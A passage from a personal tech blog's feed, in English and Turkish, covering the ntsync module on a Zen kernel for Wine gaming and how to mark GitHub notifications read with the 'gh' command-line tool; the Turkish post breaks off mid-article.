&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&amp;Ccedil;&amp;inodot;kt&amp;inodot; tam istedi&amp;gbreve;im gibiydi:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;filename:&lt;span class="w"&gt;       &lt;/span&gt;/lib/modules/6.17.9-zen1-1-zen/kernel/drivers/misc/ntsync.ko.zst
license:&lt;span class="w"&gt;        &lt;/span&gt;GPL
description:&lt;span class="w"&gt;    &lt;/span&gt;Kernel&lt;span class="w"&gt; &lt;/span&gt;driver&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;NT&lt;span class="w"&gt; &lt;/span&gt;synchronization&lt;span class="w"&gt; &lt;/span&gt;primitives
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Art&amp;inodot;k mod&amp;uuml;l y&amp;uuml;kl&amp;uuml;yd&amp;uuml; ve hata mesajlar&amp;inodot; tarihe kar&amp;inodot;&amp;scedil;m&amp;inodot;&amp;scedil;t&amp;inodot;. Yani kurdu&amp;gbreve;um o &lt;code&gt;wine-tkg&lt;/code&gt; ve &lt;code&gt;proton-xiv&lt;/code&gt; paketleri art&amp;inodot;k ger&amp;ccedil;ekten i&amp;scedil;ini yapabilirdi.&lt;/p&gt;
&lt;p&gt;K&amp;inodot;sacas&amp;inodot;, e&amp;gbreve;er siz de benim gibi "Oyunlarda performans arts&amp;inodot;n" diye &amp;ouml;zel Wine s&amp;uuml;r&amp;uuml;mleri kurup sonra "Neden &amp;ccedil;al&amp;inodot;&amp;scedil;m&amp;inodot;yor bu?" diye sa&amp;ccedil;&amp;inodot;n&amp;inodot;z&amp;inodot; ba&amp;scedil;&amp;inodot;n&amp;inodot;z&amp;inodot; yoluyorsan&amp;inodot;z, kernel s&amp;uuml;r&amp;uuml;m&amp;uuml;n&amp;uuml;ze bir bak&amp;inodot;n derim. Bazen &amp;ccedil;&amp;ouml;z&amp;uuml;m, sadece daha "Zen" bir kernele ge&amp;ccedil;mekte yat&amp;inodot;yor. 😎&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr/&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;LTS kernel, kararl&amp;inodot;l&amp;inodot;k i&amp;ccedil;in eski teknolojileri bar&amp;inodot;nd&amp;inodot;r&amp;inodot;r. Oyun ve yeni donan&amp;inodot;m &amp;ouml;zellikleri i&amp;ccedil;in genellikle Mainline veya Zen kernel tercih edilir.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="Linux"/><category term="arch linux"/><category term="ntsync"/><category term="gaming"/><category term="zen kernel"/><category term="wine"/><category term="proton"/></entry><entry><title>How to Get Rid of GitHub Notification Spam with 'gh'?</title><link href="https://yuceltoluyag.github.io/en/github-bildirim-spam-gh-ile-kurtulmak/" rel="alternate"/><published>2025-11-21T16:30:00+03:00</published><updated>2025-11-21T16:30:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2025-11-21:/en/github-bildirim-spam-gh-ile-kurtulmak/</id><summary type="html">&lt;p&gt;Are those endless spam notifications on GitHub annoying you? Let's see how we can mark them 'read' and get rid of them with the command-line tool called 'gh'.&lt;/p&gt;</summary><content type="html">&lt;p&gt;Another one of those mornings... You wake up, grab your coffee, thinking you're ready for the day. Then you see a bright red notification dot on GitHub. You click it. And yes, 30 new notifications. A quick glance tells you only one of them is perhaps important, the other 29 are "mentions" from irrelevant projects you no longer care about. A total headache. 🤯&lt;/p&gt;
&lt;p&gt;Of course, you could go to the web interface and mark these notifications as "Done" one by one. But who has that much time? And finding the right notification in that interface can sometimes feel like looking for a needle in a haystack. In short, there must be a better way.&lt;/p&gt;
&lt;p&gt;The interesting thing is, there is.&lt;/p&gt;
&lt;h2 id="not-git-but-gh-whats-this-all-about"&gt;Not &lt;code&gt;git&lt;/code&gt;, but &lt;code&gt;gh&lt;/code&gt;! What's this all about?&lt;a class="headerlink" href="#not-git-but-gh-whats-this-all-about" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Now, let's not get confused here. Everyone's familiar &lt;code&gt;git&lt;/code&gt; commands (&lt;code&gt;push&lt;/code&gt;, &lt;code&gt;pull&lt;/code&gt;, &lt;code&gt;commit&lt;/code&gt;, etc.) are one thing. That's the core of version control itself. But then there's &lt;code&gt;gh&lt;/code&gt;, GitHub's own command-line interface (CLI) tool.&lt;/p&gt;
&lt;p&gt;This &lt;code&gt;gh&lt;/code&gt; thing talks directly to GitHub's features. Opening Pull Requests, listing Issues... and yes, managing notifications. I remember thinking, "What's the point?" when I first heard about it, but it's a real lifesaver in some situations.&lt;/p&gt;
&lt;div class="admonition note"&gt;
&lt;p class="admonition-title"&gt;A Small Misconception As we just mentioned, some people mistake this 'gh' thing for a 'graphical interface.' But that's not the case at all. It's a tool that works entirely from the terminal. So you can continue your command-line heroics! ⌨️&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;If it's not installed on your system, you'll get an error like "command not found" when you try to run &lt;code&gt;gh&lt;/code&gt;. Installation is simple. If you're on something like Arch Linux, you can do it with &lt;code&gt;sudo pacman -S github-cli&lt;/code&gt;; if you're on macOS, &lt;code&gt;brew install gh&lt;/code&gt;. For other systems, they've explained it clearly on their &lt;a href="https://cli.github.com/" rel="noopener noreferrer" target="_blank"&gt;official website&lt;/a&gt;.&lt;/p&gt;
&lt;div class="admonition tip"&gt;
&lt;p class="admonition-title"&gt;Remember! Before using the &lt;code&gt;gh&lt;/code&gt; tool, you need to log into your account once in the terminal using &lt;code&gt;gh auth login&lt;/code&gt;. Otherwise, don't come crying, Git doesn't know me!&lt;/p&gt;
&lt;/div&gt;
&lt;h2 id="lets-clean-up-that-spam-step-by-step-gh-usage"&gt;Let's Clean Up That Spam: Step-by-Step &lt;code&gt;gh&lt;/code&gt; Usage&lt;a class="headerlink" href="#lets-clean-up-that-spam-step-by-step-gh-usage" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Anyway, enough chitchat, let's get down to business. Our goal is clear: to get rid of that unwanted, spammy notification. It's only two steps away.&lt;/p&gt;
&lt;h3 id="step-1-lets-dump-all-notifications-out"&gt;Step 1: Let's Dump All Notifications Out&lt;a class="headerlink" href="#step-1-lets-dump-all-notifications-out" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;The first thing we'll do is list all unread notifications. Our command for this is:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;gh&lt;span class="w"&gt; &lt;/span&gt;api&lt;span class="w"&gt; &lt;/span&gt;notifications
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;You run this command... and you'll get a strange, jumbled, JSON-formatted block of text. Don't be scared. Don't let it intimidate you. The only thing we need from there is the ID number of the notification we want to get rid of, its &lt;code&gt;id&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The output will look something like this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;[&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"19105015689"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;"repository"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;"full_name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"notifier-mail/gitcoin.com"&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;"subject"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;"title"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"The title of the notification would be here somewhere"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;"url"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"..."&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;"reason"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"mention"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;"unread"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;"url"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://api.github.com/notifications/threads/19105015689"&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Generally, the long number at the very end of the &lt;code&gt;url&lt;/code&gt; field is the &lt;code&gt;id&lt;/code&gt; we're looking for. I think... I've always found it there, at least. Just make sure you find the correct notification from the title. Copy that ID somewhere. You'll need it in the next step.&lt;/p&gt;
&lt;h3 id="step-2-read-and-get-rid-of-it-the-delete-command"&gt;Step 2: Read and Get Rid of It! The DELETE Command&lt;a class="headerlink" href="#step-2-read-and-get-rid-of-it-the-delete-command" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Got the ID? Alright. Now it's time to mark that notification as "read" and make it disappear.&lt;/p&gt;
&lt;div class="admonition warning"&gt;
&lt;p class="admonition-title"&gt;Caution! ☢️ Make sure you copied the correct ID. If you accidentally delete an important notification, you won't know about it, and it'll get lost in the shuffle. Check twice, even thrice! I warned you.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Our command is as follows:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;gh&lt;span class="w"&gt; &lt;/span&gt;api&lt;span class="w"&gt; &lt;/span&gt;-X&lt;span class="w"&gt; &lt;/span&gt;DELETE&lt;span class="w"&gt; &lt;/span&gt;notifications/threads/ID_GOES_HERE
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;You'll replace &lt;code&gt;ID_GOES_HERE&lt;/code&gt; with that long number you just copied. For example, for the ID in our example, the command would be:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;gh&lt;span class="w"&gt; &lt;/span&gt;api&lt;span class="w"&gt; &lt;/span&gt;-X&lt;span class="w"&gt; &lt;/span&gt;DELETE&lt;span class="w"&gt; &lt;/span&gt;notifications/threads/19105015689
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;When you run this command, it will appear as if nothing happened. It usually doesn't give any output. But in the background, that notification has now been marked as "read." When you go to GitHub, you'll see that the red dot is gone. Or at least the number has decreased. A big victory! 😎&lt;/p&gt;
&lt;p&gt;The API world is also a bit strange. Using the &lt;code&gt;DELETE&lt;/code&gt; verb (Delete) to "mark as read"... That sounds too formal, let me rephrase: They probably thought, instead of creating a separate command for "mark as read," they'd just say "let it be deleted from the list" using &lt;code&gt;DELETE&lt;/code&gt;. Anyway, does it work? Yes, it works. The rest is details.&lt;/p&gt;
&lt;h2 id="result-for-now-at-least_1"&gt;Result? For Now, At Least...&lt;a class="headerlink" href="#result-for-now-at-least" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;So there you have it. We got rid of that annoying notification with a single command. Is it a great victory? No. But these are the small victories we win during the day. This, in my opinion, saved me at least 5-10 seconds, maybe more! What do you do in those seconds? You yawn in front of the computer, sip your coffee... Anyway.&lt;/p&gt;
&lt;p&gt;Of course, this doesn't mean that project won't send you notifications again. This cycle, unfortunately, never ends. But at least now we have a weapon to quickly resolve that momentary annoyance from the terminal. It just occurred to me, a small &lt;code&gt;bash&lt;/code&gt; script could actually be written to do this in bulk... Anyway, that's a topic for another day.&lt;/p&gt;
&lt;div class="admonition tip"&gt;
&lt;p class="admonition-title"&gt;For More If you're curious about the other blessings of the GitHub API, GitHub's &lt;a href="https://docs.github.com/en/rest" rel="noopener noreferrer" target="_blank"&gt;REST API documentation&lt;/a&gt; is a vast ocean. But be careful, you might get lost in it.&lt;/p&gt;
&lt;/div&gt;
&lt;hr/&gt;
&lt;p&gt;&lt;img alt="Github Invisible notification" class="responsive-img" loading="lazy" sizes="(max-width: 576px) 100vw, (max-width: 992px) 80vw, (max-width: 1400px) 70vw, 60vw" src="/images/github-bildirim-spam-gh-ile-kurtulmak-xl.webp" srcset="/images/github-bildirim-spam-gh-ile-kurtulmak-sm.webp 300w, /images/github-bildirim-spam-gh-ile-kurtulmak-md.webp 500w, /images/github-bildirim-spam-gh-ile-kurtulmak-lg.webp 800w, /images/github-bildirim-spam-gh-ile-kurtulmak-xl.webp 1200w"/&gt;&lt;/p&gt;</content><category term="Git"/><category term="github"/><category term="gh"/><category term="cli"/><category term="bildirim"/><category term="terminal"/></entry><entry><title>GitHub Bildirim Spam'inden 'gh' ile Nasıl Kurtulunur?</title><link href="https://yuceltoluyag.github.io/github-bildirim-spam-gh-ile-kurtulmak/" rel="alternate"/><published>2025-11-21T16:30:00+03:00</published><updated>2025-11-21T16:30:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2025-11-21:/github-bildirim-spam-gh-ile-kurtulmak/</id><summary type="html">&lt;p&gt;GitHub'daki o bitmek bilmeyen spam bildirimler canınızı mı sıkıyor? Gelin, 'gh' adlı komut satırı aracıyla bu bildirimleri nasıl 'okundu' yapıp kurtuluruz, ona bakalım.&lt;/p&gt;</summary><content type="html">&lt;p&gt;Yine o sabahlardan biri... Bir kalk&amp;inodot;yorsun, kahveni alm&amp;inodot;&amp;scedil;s&amp;inodot;n, g&amp;uuml;ne haz&amp;inodot;rs&amp;inodot;n san&amp;inodot;yorsun. Sonra bir bak&amp;inodot;yorsun GitHub'da k&amp;inodot;pk&amp;inodot;rm&amp;inodot;z&amp;inodot; bir bildirim noktas&amp;inodot; parl&amp;inodot;yor. T&amp;inodot;kl&amp;inodot;yorsun. Ve evet, 30 yeni bildirim. &amp;Scedil;&amp;ouml;yle bir g&amp;ouml;z gezdirince anl&amp;inodot;yorsun ki bunlar&amp;inodot;n belki sadece biri &amp;ouml;nemli, geri kalan 29'u ise alakas&amp;inodot;z bir projede ad&amp;inodot;n&amp;inodot;n ge&amp;ccedil;ti&amp;gbreve;i, art&amp;inodot;k hi&amp;ccedil;bir ilgin olmayan bir "issue" takibi. Tam bir ba&amp;scedil; a&amp;gbreve;r&amp;inodot;s&amp;inodot;. 🤯&lt;/p&gt;
&lt;p&gt;Bu bildirimleri web aray&amp;uuml;z&amp;uuml;nden tek tek bulup, "Done" demek de bir se&amp;ccedil;enek tabii. Ama kimin var o kadar vakti? Hele ki o aray&amp;uuml;zde do&amp;gbreve;ru bildirimi bulmak bazen samanl&amp;inodot;kta i&amp;gbreve;ne aramaya d&amp;ouml;n&amp;uuml;yor. K&amp;inodot;sacas&amp;inodot;, daha iyi bir yol olmal&amp;inodot;.&lt;/p&gt;
&lt;p&gt;&amp;Idot;&amp;scedil;in ilgin&amp;ccedil; yan&amp;inodot;, var.&lt;/p&gt;
&lt;h2 id="git-degil-gh-bu-ne-ola-ki"&gt;&lt;code&gt;git&lt;/code&gt; De&amp;gbreve;il, &lt;code&gt;gh&lt;/code&gt;! Bu Ne Ola ki?&lt;a class="headerlink" href="#git-degil-gh-bu-ne-ola-ki" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&amp;Scedil;imdi, burada bir kar&amp;inodot;&amp;scedil;&amp;inodot;kl&amp;inodot;k olmas&amp;inodot;n. Herkesin bildi&amp;gbreve;i, kulland&amp;inodot;&amp;gbreve;&amp;inodot; &lt;code&gt;git&lt;/code&gt; komutlar&amp;inodot; (&lt;code&gt;push&lt;/code&gt;, &lt;code&gt;pull&lt;/code&gt;, &lt;code&gt;commit&lt;/code&gt; falan) ayr&amp;inodot; bir d&amp;uuml;nya. O, versiyon kontrol&amp;uuml;n&amp;uuml;n kendisi. Ama bir de GitHub'&amp;inodot;n kendi geli&amp;scedil;tirdi&amp;gbreve;i &lt;code&gt;gh&lt;/code&gt; diye bir komut sat&amp;inodot;r&amp;inodot; arac&amp;inodot; (CLI) var.&lt;/p&gt;
&lt;p&gt;Bu &lt;code&gt;gh&lt;/code&gt; denen &amp;scedil;ey, do&amp;gbreve;rudan GitHub &amp;ouml;zellikleriyle konu&amp;scedil;uyor. Pull Request a&amp;ccedil;mak, Issue'lar&amp;inodot; listelemek... ve evet, bildirimleri y&amp;ouml;netmek gibi i&amp;scedil;ler yap&amp;inodot;yor. Bunu ilk duydu&amp;gbreve;umda "Ne gerek vard&amp;inodot; ki?" dedi&amp;gbreve;imi hat&amp;inodot;rl&amp;inodot;yorum ama baz&amp;inodot; durumlarda hayat kurtar&amp;inodot;yor cidden.&lt;/p&gt;
&lt;div class="admonition note"&gt;
&lt;p class="admonition-title"&gt;K&amp;uuml;&amp;ccedil;&amp;uuml;k Bir Yanl&amp;inodot;&amp;scedil; Anlama Asl&amp;inodot;nda az &amp;ouml;nce de bahsettik ya, baz&amp;inodot;lar&amp;inodot; bu 'gh' denen &amp;scedil;eyi 'grafik aray&amp;uuml;z&amp;uuml;' zannediyor. Halbuki alakas&amp;inodot; yok. Bu tamamen terminalden &amp;ccedil;al&amp;inodot;&amp;scedil;an bir ara&amp;ccedil;. Yani klavye delikanl&amp;inodot;l&amp;inodot;&amp;gbreve;&amp;inodot;na devam! ⌨️&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;E&amp;gbreve;er sisteminizde kurulu de&amp;gbreve;ilse, &lt;code&gt;gh&lt;/code&gt; komutunu &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rd&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot;zda "command not found" gibi bir hata al&amp;inodot;rs&amp;inodot;n&amp;inodot;z. Kurulumu basit. E&amp;gbreve;er Arch Linux gibi bir &amp;scedil;ey kullan&amp;inodot;yorsan&amp;inodot;z &lt;code&gt;sudo pacman -S github-cli&lt;/code&gt; ile, macOS kullan&amp;inodot;yorsan&amp;inodot;z &lt;code&gt;brew install gh&lt;/code&gt; ile halledebilirsiniz. Di&amp;gbreve;er sistemler i&amp;ccedil;in de &lt;a href="https://cli.github.com/" rel="noopener noreferrer" target="_blank"&gt;resmi sitesinde&lt;/a&gt; gayet net anlatm&amp;inodot;&amp;scedil;lar.&lt;/p&gt;
&lt;div class="admonition tip"&gt;
&lt;p class="admonition-title"&gt;Unutma! &lt;code&gt;gh&lt;/code&gt; arac&amp;inodot;n&amp;inodot; kullanmadan &amp;ouml;nce terminalde &lt;code&gt;gh auth login&lt;/code&gt; komutuyla hesab&amp;inodot;n&amp;inodot;za bir kere giri&amp;scedil; yapman&amp;inodot;z gerekiyor. Yoksa 'Git abim beni tan&amp;inodot;m&amp;inodot;yor' diye a&amp;gbreve;lamay&amp;inodot;n.&lt;/p&gt;
&lt;/div&gt;
&lt;h2 id="hadi-su-spami-temizleyelim-adm-adm-gh-kullanm"&gt;Hadi &amp;Scedil;u Spam'i Temizleyelim: Ad&amp;inodot;m Ad&amp;inodot;m &lt;code&gt;gh&lt;/code&gt; Kullan&amp;inodot;m&amp;inodot;&lt;a class="headerlink" href="#hadi-su-spami-temizleyelim-adm-adm-gh-kullanm" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Neyse, geyi&amp;gbreve;i b&amp;inodot;rakal&amp;inodot;m da i&amp;scedil;e d&amp;ouml;nelim. Amac&amp;inodot;m&amp;inodot;z belli: o istenmeyen, spam bildirimden kurtulmak. Sadece iki ad&amp;inodot;ma bak&amp;inodot;yor her &amp;scedil;ey.&lt;/p&gt;
&lt;h3 id="adm-1-butun-bildirimleri-dokelim-ortaya"&gt;Ad&amp;inodot;m 1: B&amp;uuml;t&amp;uuml;n Bildirimleri D&amp;ouml;kelim Ortaya&lt;a class="headerlink" href="#adm-1-butun-bildirimleri-dokelim-ortaya" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&amp;Idot;lk yapaca&amp;gbreve;&amp;inodot;m&amp;inodot;z &amp;scedil;ey, okunmam&amp;inodot;&amp;scedil; t&amp;uuml;m bildirimleri bir listelemek. Bunun i&amp;ccedil;in komutumuz &amp;scedil;u:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;gh&lt;span class="w"&gt; &lt;/span&gt;api&lt;span class="w"&gt; &lt;/span&gt;notifications
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Bu komutu bir &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;r&amp;inodot;yorsun... Kar&amp;scedil;&amp;inodot;na b&amp;ouml;yle acayip, karman &amp;ccedil;orman, JSON format&amp;inodot;nda bir metin y&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot; &amp;ccedil;&amp;inodot;kacak. Sak&amp;inodot;n korkma. G&amp;ouml;z&amp;uuml;n&amp;uuml; korkutmas&amp;inodot;n. Bize oradan laz&amp;inodot;m olan tek bir &amp;scedil;ey var: kurtulmak istedi&amp;gbreve;imiz bildirimin kimlik numaras&amp;inodot;, yani &lt;code&gt;id&lt;/code&gt;'si.&lt;/p&gt;
&lt;p&gt;&amp;Ccedil;&amp;inodot;kt&amp;inodot; a&amp;scedil;a&amp;gbreve;&amp;inodot; yukar&amp;inodot; &amp;scedil;una benzeyecektir:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;[&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"19105015689"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;"repository"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;"full_name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"notifier-mail/gitcoin.com"&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;"subject"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;"title"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Buralarda bir yerlerde bildirimin ba&amp;scedil;l&amp;inodot;&amp;gbreve;&amp;inodot; yazar"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;"url"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"..."&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;"reason"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"mention"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;"unread"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;"url"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://api.github.com/notifications/threads/19105015689"&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Genelde &lt;code&gt;url&lt;/code&gt; alan&amp;inodot;n&amp;inodot;n en sonundaki o upuzun say&amp;inodot; oluyor arad&amp;inodot;&amp;gbreve;&amp;inodot;m&amp;inodot;z &lt;code&gt;id&lt;/code&gt;. San&amp;inodot;r&amp;inodot;m... Ben hep oradan buldum en az&amp;inodot;ndan. Ba&amp;scedil;l&amp;inodot;ktan (&lt;code&gt;title&lt;/code&gt;) do&amp;gbreve;ru bildirimi buldu&amp;gbreve;undan emin ol yeter. O ID'yi bir kenara kopyalay&amp;inodot;n. Sonraki ad&amp;inodot;mda laz&amp;inodot;m olacak.&lt;/p&gt;
&lt;h3 id="adm-2-oku-ve-kurtul-delete-emri"&gt;Ad&amp;inodot;m 2: Oku ve Kurtul! DELETE Emri&lt;a class="headerlink" href="#adm-2-oku-ve-kurtul-delete-emri" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;ID'yi kapt&amp;inodot;k m&amp;inodot;? Tamamd&amp;inodot;r. &amp;Scedil;imdi o bildirimi "okundu" olarak i&amp;scedil;aretleyip ortadan kald&amp;inodot;rma zaman&amp;inodot;.&lt;/p&gt;
&lt;div class="admonition warning"&gt;
&lt;p class="admonition-title"&gt;Dikkat! ☢️ Emin ol do&amp;gbreve;ru ID'yi kopyalad&amp;inodot;n. Yanl&amp;inodot;&amp;scedil;l&amp;inodot;kla &amp;ouml;nemli bir bildirimi okundu olarak i&amp;scedil;aretlersen haberin olmaz, arada kaynar gider. &amp;Idot;ki kere, hatta &amp;uuml;&amp;ccedil; kere kontrol et! Ben uyard&amp;inodot;m.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Komutumuz &amp;scedil;u &amp;scedil;ekilde:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;gh&lt;span class="w"&gt; &lt;/span&gt;api&lt;span class="w"&gt; &lt;/span&gt;-X&lt;span class="w"&gt; &lt;/span&gt;DELETE&lt;span class="w"&gt; &lt;/span&gt;notifications/threads/ID_BURAYA_GELECEK
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code&gt;ID_BURAYA_GELECEK&lt;/code&gt; yazan yere, az &amp;ouml;nce kopyalad&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot;z o uzun say&amp;inodot;y&amp;inodot; yap&amp;inodot;&amp;scedil;t&amp;inodot;racaks&amp;inodot;n&amp;inodot;z. Mesela bizim &amp;ouml;rnekteki ID i&amp;ccedil;in komut &amp;scedil;&amp;ouml;yle olurdu:&lt;/p&gt;
